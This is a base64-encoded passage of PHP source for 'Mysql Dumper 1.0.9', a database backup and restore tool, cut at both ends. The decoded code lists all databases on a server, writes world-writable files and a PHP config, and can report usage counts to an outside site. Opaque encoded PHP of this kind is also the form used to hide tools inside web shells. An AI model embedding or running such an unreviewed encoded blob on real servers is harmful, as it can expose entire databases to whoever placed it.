0L3QsCDQuCDRg9GB0YLQsNC90L7QstC70LXQvdCwIGF1dG8g0LrQvtC00LjRgNC+0LLQutCwCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsIC49ICcgREVGQVVMVCBDSEFSU0VUPScgLiAkdGhpcy0+cmVzdG9yZV9jaGFyc2V0IC4gJHRoaXMtPnJlc3RvcmVfY29sbGF0ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+cmVzdG9yZV9jaGFyc2V0ICE9ICRsYXN0X2NoYXJzZXQpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXlzcWxfcXVlcnkoIlNFVCBOQU1FUyAnIiAuICR0aGlzLT5yZXN0b3JlX2NoYXJzZXQgLiAiJyIpIG9yIHRyaWdnZXJfZXJyb3IgKCLQndC10YPQtNCw0LXRgtGB0Y8g0LjQt9C80LXQvdC40YLRjCDQutC+0LTQuNGA0L7QstC60YMg0YHQvtC10LTQuNC90LXQvdC40Y8uPEJSPnskc3FsfTxCUj4iIC4gbXlzcWxfZXJyb3IoKSwgRV9VU0VSX0VSUk9SKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNhY2hlIC49IHRwbF9sKCLQo9GB0YLQsNC90L7QstC70LXQvdCwINC60L7QtNC40YDQvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyBgIiAuICR0aGlzLT5yZXN0b3JlX2NoYXJzZXQgLiAiYC4iLCBDX1dBUk5JTkcpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGFzdF9jaGFyc2V0ID0gJHRoaXMtPnJlc3RvcmVfY2hhcnNldDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRsYXN0X3Nob3dlZCAhPSAkdGFibGUpIHskY2FjaGUgLj0gdHBsX2woItCi0LDQsdC70LjRhtCwIGB7JHRhYmxlfWAuIik7ICRsYXN0X3Nob3dlZCA9ICR0YWJsZTt9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoJHRoaXMtPm15c3FsX3ZlcnNpb24gPiA0MDEwMSAmJiBlbXB0eSgkbGFzdF9jaGFyc2V0KSkgeyAvLyDQo9GB0YLQsNC90LDQstC70LjQstCw0LXQvCDQutC+0LTQuNGA0L7QstC60YMg0L3QsCDRgdC70YPRh9Cw0Lkg0LXRgdC70Lgg0L7RgtGB0YPRgtGB0YLQstGD0LXRgiBDUkVBVEUgVEFCTEUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXlzcWxfcXVlcnkoIlNFVCAkdGhpcy0+cmVzdG9yZV9jaGFyc2V0ICciIC4gJHRoaXMtPnJlc3RvcmVfY2hhcnNldCAuICInIikgb3IgdHJpZ2dlcl9lcnJvciAoItCd0LXRg9C00LDQtdGC0YHRjyDQuNC30LzQtdC90LjRgtGMINC60L7QtNC40YDQvtCy0LrRgyDRgdC+0LXQtNC40L3QtdC90LjRjy48QlI+eyRzcWx9PEJSPiIgLiBteXNxbF9lcnJvcigpLCBFX1VTRVJfRVJST1IpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHRwbF9sKCLQo9GB0YLQsNC90L7QstC70LXQvdCwINC60L7QtNC40YDQvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyBgIiAuICR0aGlzLT5yZXN0b3JlX2NoYXJzZXQgLiAiYC4iLCBDX1dBUk5JTkcpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGFzdF9jaGFyc2V0ID0gJHRoaXMtPnJlc3RvcmVfY2hhcnNldDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGluc2VydCA9ICcnOwogICAgICAgICAgICAgICAgICAgICRleGVjdXRlID0gMTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkcXVlcnlfbGVuID49IDY1NTM2ICYmIHByZWdfbWF0Y2goIi8sJC8iLCAkc3RyKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gcnRyaW0oJGluc2VydCAuICRzcWwsICIsIik7CiAgICAgICAgICAgICAgICAgICAgJGV4ZWN1dGUgPSAxOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGV4ZWN1dGUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHErKzsKICAgICAgICAgICAgICAgICAgICAgICAgbXlzcWxfcXVlcnkoJHNxbCkgb3IgdHJpZ2dlcl9lcnJvciAoIldyb25nIHF1ZXJyeS48QlI+IiAuIG15c3FsX2Vycm9yKCksIEVfVVNFUl9FUlJPUik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgiL15pbnNlcnQvaSIsICRzcWwpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYWZmX3Jvd3MgKz0gbXlzcWxfYWZmZWN0ZWRfcm93cygpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnJzsKICAgICAgICAgICAgICAgICAgICAgICAgJHF1ZXJ5X2xlbiA9IDA7CiAgICAgICAgICAgICAgICAgICAgICAgICRleGVjdXRlID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWNobyAkY2FjaGU7CiAgICAgICAgICAgICAgICBlY2hvIHRwbF9zKDEgLCAxKTsKICAgICAgICAgICAgICAgIGVjaG8gdHBsX2woc3RyX3JlcGVhdCgiLSIsIDYwKSk7CiAgICAgICAgICAgICAgICBlY2hvIHRwbF9sKCJEQiB3YXMgcmVzdG9yZWQgZnJvbSBiYWNrdXAuIiwgQ19SRVNVTFQpOwogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRpbmZvWzNdKSkgZWNobyB0cGxfbCgi0JTQsNGC0LAg0YHQvtC30LTQsNC90LjRjyDQutC+0L/QuNC4OiB7JGluZm9bM119IiwgQ19SRVNVTFQpOwogICAgICAgICAgICAgICAgZWNobyB0cGxfbCgiREIgcXVlcmllczogeyRxfSIsIENfUkVTVUxUKTsKICAgICAgICAgICAgICAgIGVjaG8gdHBsX2woIlRhYmxlcyB3YXMgY3JlYXRlZDogeyR0YWJzfSIsIENfUkVTVUxUKTsKICAgICAgICAgICAgICAgIGVjaG8gdHBsX2woItCh0YLRgNC+0Log0LTQvtCx0LDQstC70LXQvdC+OiB7JGFmZl9yb3dzfSIsIENfUkVTVUxUKTsKCiAgICAgICAgICAgICAgICAkdGhpcy0+dGFicyA9ICR0YWJzOwogICAgICAgICAgICAgICAgJHRoaXMtPnJlY29yZHMgPSAkYWZmX3Jvd3M7CiAgICAgICAgICAgICAgICAkdGhpcy0+c2l6ZSA9IGZpbGVzaXplKFBBVEggLiAkdGhpcy0+ZmlsZW5hbWUpOwogICAgICAgICAgICAgICAgJHRoaXMtPmNvbXAgPSAkdGhpcy0+U0VUWydjb21wX21ldGhvZCddICogMTAgKyAkdGhpcy0+U0VUWydjb21wX2xldmVsJ107CiAgICAgICAgICAgICAgICBlY2hvICI8U0NSSVBUPmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYWNrJykuZGlzYWJsZWQgPSAwOzwvU0NSSVBUPiI7CiAgICAgICAgICAgICAgICAvLyDQn9C10YDQtdC00LDRh9CwINC00LDQvdC90YvRhSDQtNC70Y8g0LPQu9C+0LHQsNC70YzQvdC+0Lkg0YHRgtCw0YLQuNGB0YLQuNC60LgKICAgICAgICAgICAgICAgIGlmIChHUykgZWNobyAiPFNDUklQVD5kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnR1MnKS5zcmMgPSAnaHR0cDovL3N5cGV4Lm5ldC9ncy5waHA/cj17JHRoaXMtPnRhYnN9LHskdGhpcy0+cmVjb3Jkc30seyR0aGlzLT5zaXplfSx7JHRoaXMtPmNvbXB9LDEwOCc7PC9TQ1JJUFQ+IjsKCiAgICAgICAgICAgICAgICAkdGhpcy0+Zm5fY2xvc2UoJGZwKTsKICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIG1haW4oKXsKICAgICAgICAgICAgICAgICR0aGlzLT5jb21wX2xldmVscyA9IGFycmF5KCc5JyA9PiAnOSAo0LzQsNC60YHQuNC80LDQu9GM0L3QsNGPKScsICc4JyA9PiAnOCcsICc3JyA9PiAnNycsICc2JyA9PiAnNicsICc1JyA9PiAnNSAo0YHRgNC10LTQvdGP0Y8pJywgJzQnID0+ICc0JywgJzMnID0+ICczJywgJzInID0+ICcyJywgJzEnID0+ICcxICjQvNC40L3QuNC80LDQu9GM0L3QsNGPKScsJzAnID0+ICfQkdC10Lcg0YHQttCw0YLQuNGPJyk7CgogICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygiYnpvcGVuIikpIHsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+Y29tcF9tZXRob2RzWzJdID0gJ0JaaXAyJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoImd6b3BlbiIpKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmNvbXBfbWV0aG9kc1sxXSA9ICdHWmlwJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICR0aGlzLT5jb21wX21ldGhvZHNbMF0gPSAn0JHQtdC3INGB0LbQsNGC0LjRjyc7CiAgICAgICAgICAgICAgICBpZiAoY291bnQoJHRoaXMtPmNvbXBfbWV0aG9kcykgPT0gMSkgewogICAgICAgICAgICAgICAgICAgICR0aGlzLT5jb21wX2xldmVscyA9IGFycmF5KCcwJyA9PifQkdC10Lcg0YHQttCw0YLQuNGPJyk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgJGRicyA9ICR0aGlzLT5kYl9zZWxlY3QoKTsKICAgICAgICAgICAgICAgICR0aGlzLT52YXJzWydkYl9iYWNrdXAnXSAgICA9ICR0aGlzLT5mbl9zZWxlY3QoJGRicywgJHRoaXMtPlNFVFsnbGFzdF9kYl9iYWNrdXAnXSk7CiAgICAgICAgICAgICAgICAkdGhpcy0+dmFyc1snZGJfcmVzdG9yZSddICAgPSAkdGhpcy0+Zm5fc2VsZWN0KCRkYnMsICR0aGlzLT5TRVRbJ2xhc3RfZGJfcmVzdG9yZSddKTsKICAgICAgICAgICAgICAgICR0aGlzLT52YXJzWydjb21wX2xldmVscyddICA9ICR0aGlzLT5mbl9zZWxlY3QoJHRoaXMtPmNvbXBfbGV2ZWxzLCAkdGhpcy0+U0VUWydjb21wX2xldmVsJ10pOwogICAgICAgICAgICAgICAgJHRoaXMtPnZhcnNbJ2NvbXBfbWV0aG9kcyddID0gJHRoaXMtPmZuX3NlbGVjdCgkdGhpcy0+Y29tcF9tZXRob2RzLCAkdGhpcy0+U0VUWydjb21wX21ldGhvZCddKTsKICAgICAgICAgICAgICAgICR0aGlzLT52YXJzWyd0YWJsZXMnXSAgICAgICA9ICR0aGlzLT5TRVRbJ3RhYmxlcyddOwogICAgICAgICAgICAgICAgJHRoaXMtPnZhcnNbJ2ZpbGVzJ10gICAgICAgID0gJHRoaXMtPmZuX3NlbGVjdCgkdGhpcy0+ZmlsZV9zZWxlY3QoKSwgJycpOwogICAgICAgICAgICAgICAgZ2xvYmFsICRkdW1wZXJfZmlsZTsKICAgICAgICAgICAgICAgICRidXR0b25zID0gIjxJTlBVVCBUWVBFPXN1Ym1pdCBWQUxVRT1BcHBseT48SU5QVVQgVFlQRT1idXR0b24gVkFMVUU9RXhpdCBvbkNsaWNrPVwibG9jYXRpb24uaHJlZiA9ICciLiRkdW1wZXJfZmlsZS4iP3JlbG9hZCdcIj4iOwogICAgICAgICAgICAgICAgZWNobyB0cGxfcGFnZSh0cGxfbWFpbigpLCAkYnV0dG9ucyk7CiAgICAgICAgfQoKICAgICAgICBmdW5jdGlvbiBkYl9zZWxlY3QoKXsKICAgICAgICAgICAgICAgIGlmIChEQk5BTUVTICE9ICcnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtcyA9IGV4cGxvZGUoJywnLCB0cmltKERCTkFNRVMpKTsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkaXRlbXMgQVMgJGl0ZW0pewogICAgICAgICAgICAgICAgICAgICAgICBpZiAobXlzcWxfc2VsZWN0X2RiKCRpdGVtKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0YWJsZXMgPSBteXNxbF9xdWVyeSgiU0hPVyBUQUJMRVMiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHRhYmxlcykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGFicyA9IG15c3FsX251bV9yb3dzKCR0YWJsZXMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRic1skaXRlbV0gPSAieyRpdGVtfSAoeyR0YWJzfSkiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBEQVRBQkFTRVMiKTsKICAgICAgICAgICAgICAgICRkYnMgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgd2hpbGUoJGl0ZW0gPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSl7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChteXNxbF9zZWxlY3RfZGIoJGl0ZW1bMF0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRhYmxlcyA9IG15c3FsX3F1ZXJ5KCJTSE9XIFRBQkxFUyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdGFibGVzKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0YWJzID0gbXlzcWxfbnVtX3Jvd3MoJHRhYmxlcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGJzWyRpdGVtWzBdXSA9ICJ7JGl0ZW1bMF19ICh7JHRhYnN9KSI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiAkZGJzOwogICAgICAgIH0KCiAgICAgICAgZnVuY3Rpb24gZmlsZV9zZWxlY3QoKXsKICAgICAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCcnID0+ICcgJyk7CiAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKFBBVEgpICYmICRoYW5kbGUgPSBvcGVuZGlyKFBBVEgpKSB7CiAgICAgICAgICAgIHdoaWxlIChmYWxzZSAhPT0gKCRmaWxlID0gcmVhZGRpcigkaGFuZGxlKSkpIHsKICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCIvXi4rP1wuc3FsKFwuKGd6fGJ6MikpPyQvIiwgJGZpbGUpKSB7CiAgICAgICAgICAgICAgICAgICAgJGZpbGVzWyRmaWxlXSA9ICRmaWxlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGNsb3NlZGlyKCRoYW5kbGUpOwogICAgICAgIH0KICAgICAgICBrc29ydCgkZmlsZXMpOwogICAgICAgICAgICAgICAgcmV0dXJuICRmaWxlczsKICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIGZuX29wZW4oJG5hbWUsICRtb2RlKXsKICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+U0VUWydjb21wX21ldGhvZCddID09IDIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmZpbGVuYW1lID0gInskbmFtZX0uc3FsLmJ6MiI7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGJ6b3BlbihQQVRIIC4gJHRoaXMtPmZpbGVuYW1lLCAieyRtb2RlfWJ7JHRoaXMtPlNFVFsnY29tcF9sZXZlbCddfSIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZWlmICgkdGhpcy0+U0VUWydjb21wX21ldGhvZCddID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmZpbGVuYW1lID0gInskbmFtZX0uc3FsLmd6IjsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gZ3pvcGVuKFBBVEggLiAkdGhpcy0+ZmlsZW5hbWUsICJ7JG1vZGV9YnskdGhpcy0+U0VUWydjb21wX2xldmVsJ119Iik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlewogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+ZmlsZW5hbWUgPSAieyRuYW1lfS5zcWwiOwogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZm9wZW4oUEFUSCAuICR0aGlzLT5maWxlbmFtZSwgInskbW9kZX1iIik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBmdW5jdGlvbiBmbl93cml0ZSgkZnAsICRzdHIpewogICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5TRVRbJ2NvbXBfbWV0aG9kJ10gPT0gMikgewogICAgICAgICAgICAgICAgICAgIGJ6d3JpdGUoJGZwLCAkc3RyKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVsc2VpZiAoJHRoaXMtPlNFVFsnY29tcF9tZXRob2QnXSA9PSAxKSB7CiAgICAgICAgICAgICAgICAgICAgZ3p3cml0ZSgkZnAsICRzdHIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZXsKICAgICAgICAgICAgICAgICAgICAgICAgZndyaXRlKCRmcCwgJHN0cik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBmdW5jdGlvbiBmbl9yZWFkKCRmcCl7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPlNFVFsnY29tcF9tZXRob2QnXSA9PSAyKSB7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGJ6cmVhZCgkZnAsIDQwOTYpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZWlmICgkdGhpcy0+U0VUWydjb21wX21ldGhvZCddID09IDEpIHsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gZ3pyZWFkKCRmcCwgNDA5Nik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZnJlYWQoJGZwLCA0MDk2KTsKICAgICAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIGZuX3JlYWRfc3RyKCRmcCl7CiAgICAgICAgICAgICAgICAkc3RyaW5nID0gJyc7CiAgICAgICAgICAgICAgICAkdGhpcy0+ZmlsZV9jYWNoZSA9IGx0cmltKCR0aGlzLT5maWxlX2NhY2hlKTsKICAgICAgICAgICAgICAgICRwb3MgPSBzdHJwb3MoJHRoaXMtPmZpbGVfY2FjaGUsICJcbiIsIDApOwogICAgICAgICAgICAgICAgaWYgKCRwb3MgPCAxKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICghJHN0cmluZyAmJiAoJHN0ciA9ICR0aGlzLT5mbl9yZWFkKCRmcCkpKXsKICAgICAgICAgICAgICAgICAgICAgICAgJHBvcyA9IHN0cnBvcygkc3RyLCAiXG4iLCAwKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRwb3MgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+ZmlsZV9jYWNoZSAuPSAkc3RyOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2V7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0cmluZyA9ICR0aGlzLT5maWxlX2NhY2hlIC4gc3Vic3RyKCRzdHIsIDAsICRwb3MgKyAxKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+ZmlsZV9jYWNoZSA9IHN1YnN0cigkc3RyLCAkcG9zICsgMSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkc3RyKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmZpbGVfY2FjaGUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdHJpbmcgPSAkdGhpcy0+ZmlsZV9jYWNoZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5maWxlX2NhY2hlID0gJyc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiB0cmltKCRzdHJpbmcpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRzdHJpbmcgPSBzdWJzdHIoJHRoaXMtPmZpbGVfY2FjaGUsIDAsICRwb3MpOwogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+ZmlsZV9jYWNoZSA9IHN1YnN0cigkdGhpcy0+ZmlsZV9jYWNoZSwgJHBvcyArIDEpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuIHRyaW0oJHN0cmluZyk7CiAgICAgICAgfQoKICAgICAgICBmdW5jdGlvbiBmbl9jbG9zZSgkZnApewogICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5TRVRbJ2NvbXBfbWV0aG9kJ10gPT0gMikgewogICAgICAgICAgICAgICAgICAgIGJ6Y2xvc2UoJGZwKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVsc2VpZiAoJHRoaXMtPlNFVFsnY29tcF9tZXRob2QnXSA9PSAxKSB7CiAgICAgICAgICAgICAgICAgICAgZ3pjbG9zZSgkZnApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZXsKICAgICAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBAY2htb2QoUEFUSCAuICR0aGlzLT5maWxlbmFtZSwgMDY2Nik7CiAgICAgICAgICAgICAgICAkdGhpcy0+Zm5faW5kZXgoKTsKICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIGZuX3NlbGVjdCgkaXRlbXMsICRzZWxlY3RlZCl7CiAgICAgICAgICAgICAgICAkc2VsZWN0ID0gJyc7CiAgICAgICAgICAgICAgICBmb3JlYWNoKCRpdGVtcyBBUyAka2V5ID0+ICR2YWx1ZSl7CiAgICAgICAgICAgICAgICAgICAgICAgICRzZWxlY3QgLj0gJGtleSA9PSAkc2VsZWN0ZWQgPyAiPE9QVElPTiBWQUxVRT0neyRrZXl9JyBTRUxFQ1RFRD57JHZhbHVlfSIgOiAiPE9QVElPTiBWQUxVRT0neyRrZXl9Jz57JHZhbHVlfSI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4gJHNlbGVjdDsKICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIGZuX3NhdmUoKXsKICAgICAgICAgICAgICAgIGlmIChTQykgewogICAgICAgICAgICAgICAgICAgICAgICAkbmUgPSAhZmlsZV9leGlzdHMoUEFUSCAuICJkdW1wZXIuY2ZnLnBocCIpOwogICAgICAgICAgICAgICAgICAgICRmcCA9IGZvcGVuKFBBVEggLiAiZHVtcGVyLmNmZy5waHAiLCAid2IiKTsKICAgICAgICAgICAgICAgIGZ3cml0ZSgkZnAsICI8P3BocFxuXCR0aGlzLT5TRVQgPSAiIC4gZm5fYXJyMnN0cigkdGhpcy0+U0VUKSAuICJcbj8+Iik7CiAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRuZSkgQGNobW9kKFBBVEggLiAiZHVtcGVyLmNmZy5waHAiLCAwNjY2KTsKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmZuX2luZGV4KCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBmdW5jdGlvbiBmbl9pbmRleCgpewogICAgICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cyhQQVRIIC4gJ2luZGV4Lmh0bWwnKSkgewogICAgICAgICAgICAgICAgICAgICRmaCA9IGZvcGVuKFBBVEggLiAnaW5kZXguaHRtbCcsICd3YicpOwogICAgICAgICAgICAgICAgICAgICAgICBmd3JpdGUoJGZoLCB0cGxfYmFja3VwX2luZGV4KCkpOwogICAgICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJGZoKTsKICAgICAgICAgICAgICAgICAgICAgICAgQGNobW9kKFBBVEggLiAnaW5kZXguaHRtbCcsIDA2NjYpOwogICAgICAgICAgICAgICAgfQogICAgICAgIH0KfQoKZnVuY3Rpb24gZm5faW50KCRudW0pewogICAgICAgIHJldHVybiBudW1iZXJfZm9ybWF0KCRudW0sIDAsICcsJywgJyAnKTsKfQoKZnVuY3Rpb24gZm5fYXJyMnN0cigkYXJyYXkpIHsKICAgICAgICAkc3RyID0gImFycmF5KFxuIjsKICAgICAgICBmb3JlYWNoICgkYXJyYXkgYXMgJGtleSA9PiAkdmFsdWUpIHsKICAgICAgICAgICAgICAgIGlmIChpc19hcnJheSgkdmFsdWUpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRzdHIgLj0gIicka2V5JyA9PiAiIC4gZm5fYXJyMnN0cigkdmFsdWUpIC4gIixcblxuIjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkc3RyIC49ICInJGtleScgPT4gJyIgLiBzdHJfcmVwbGFjZSgiJyIsICJcJyIsICR2YWx1ZSkgLiAiJyxcbiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkc3RyIC4gIikiOwp9CgovLyBUZW1wbGF0ZXMKCmZ1bmN0aW9uIHRwbF9wYWdlKCRjb250ZW50ID0gJycsICRidXR0b25zID0gJycpewpyZXR1cm4gPDw8SFRNTAo8IURPQ1RZUEUgSFRNTCBQVUJMSUMgIi0vL1czQy8vRFREIEhUTUwgNC4wMSBUcmFuc2l0aW9uYWwvL0VOIj4KPEhUTUw+CjxIRUFEPgo8VElUTEU+TXlzcWwgRHVtcGVyIDEuMC45IHwgJmNvcHk7IDIwMDYgemFwaW1pcjwvVElUTEU+CjxNRVRBIEhUVFAtRVFVSVY9Q29udGVudC1UeXBlIENPTlRFTlQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCI+CjxTVFlMRSBUWVBFPSJURVhUL0NTUyI+CjwhLS0KYm9keXsKICAgICAgICBvdmVyZmxvdzogYXV0bzsKfQp0ZCB7CiAgICAgICAgZm9udDogMTFweCB0YWhvbWEsIHZlcmRhbmEsIGFyaWFsOwogICAgICAgIGN1cnNvcjogZGVmYXVsdDsKfQppbnB1dCwgc2VsZWN0LCBkaXYgewogICAgICAgIGZvbnQ6IDExcHggdGFob21hLCB2ZXJkYW5hLCBhcmlhbDsKfQppbnB1dC50ZXh0LCBzZWxlY3QgewogICAgICAgIHdpZHRoOiAxMDAlOwp9CmZpZWxkc2V0IHsKICAgICAgICBtYXJnaW4tYm90dG9tOiAxMHB4Owp9Ci0tPgo8L1NUWUxFPgo8L0hFQUQ+Cgo8Qk9EWSBCR0NPTE9SPSNFQ0U5RDggVEVYVD0jMDAwMDAwPgo8VEFCTEUgV0lEVEg9MTAwJSBIRUlHSFQ9MTAwJSBCT1JERVI9MCBDRUxMU1BBQ0lORz0wIENFTExQQURESU5HPTAgQUxJR049Q0VOVEVSPgo8VFI+CjxURCBIRUlHSFQ9NjAlIEFMSUdOPUNFTlRFUiBWQUxJR049TUlERExFPgo8VEFCTEUgV0lEVEg9MzY